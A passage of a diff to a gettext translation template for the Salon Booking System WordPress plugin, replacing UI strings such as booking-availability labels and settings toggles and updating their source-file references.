build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:24\n-msgid \"Available days checked and green.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:319\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:319\n+msgid \"Email Timing\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:43, views\u002Fmetabox\u002F_attendant_availability_row.php:44, views\u002Fsettings\u002F_availability_row.php:43, views\u002Fsettings\u002F_availability_row.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:44\n-msgid \"Select specific dates\"\n+#. %s will be replaced by the datetime\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:450\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:450\n+#, php-format\n+msgid \"Email will be sent at %s\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:72, views\u002Fsettings\u002F_availability_row.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:72\n-msgid \"Selected Dates\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:303\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:303\n+msgid \"Email:\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:76, views\u002Fsettings\u002F_availability_row.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:78\n-msgid \"No dates selected\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:16\n+msgid \"Enable\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:79, views\u002Fsettings\u002F_availability_row.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:81\n-msgid \"Clear All Dates\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:181\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:181\n+msgid \"Enable advanced rules\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:92, views\u002Fsettings\u002F_availability_row.php:93, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:93, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:93\n-msgid \"First shift\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:145\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:145\n+msgid \"Enable ajax steps\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:115, views\u002Fsettings\u002F_availability_row.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:115, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:118\n-msgid \"Second shift\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:259\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:259\n+msgid \"Enable assistant email on new bookings\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:144, views\u002Fsettings\u002F_availability_row.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:148\n-msgid \"Shift enabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:190\n+msgid \"Enable assistant selection\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:145, views\u002Fsettings\u002F_availability_row.php:149, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:149, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:149, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:145, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:149\n-msgid \"Shift disabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:39\n+msgid \"Enable assistants mode\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:159, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:159\n-msgid \"Select resource\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:23\n+msgid \"Enable auto-align time slots\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:266\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:266\n+msgid \"Enable automatic plugin updates\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:292\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:292\n+msgid \"Enable cancellation\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:176, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:176\n-msgid \"Select service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:79\n+msgid \"Enable debug logs\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:180, views\u002Fmetabox\u002F_booking_services.php:5, views\u002Fmetabox\u002F_booking_services.php:6, views\u002Fmetabox\u002F_booking_services.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:6, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_booking_services.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:6, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_booking_services.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_booking_services.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:180, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:6, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_booking_services.php:33\n-msgid \"Select a service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:80\n+msgid \"\"\n+\"Enable detailed logging to log.txt file in the plugin directory for \"\n+\"troubleshooting. Logs can be found at: wp-content\u002Fplugins\u002Fsalon-booking-\"\n+\"system\u002Flog.txt\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityStats_Controller.php:44\n+msgid \"Enable diagnostic mode.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:598\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:598\n+msgid \"Enable Editors as administrator\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:208, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:208\n-msgid \"Always valid ( default )\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:44\n+msgid \"Enable Facebook login\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002F_attendant_availability_row.php:209, views\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:107, src\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:57, views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:209, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:107, 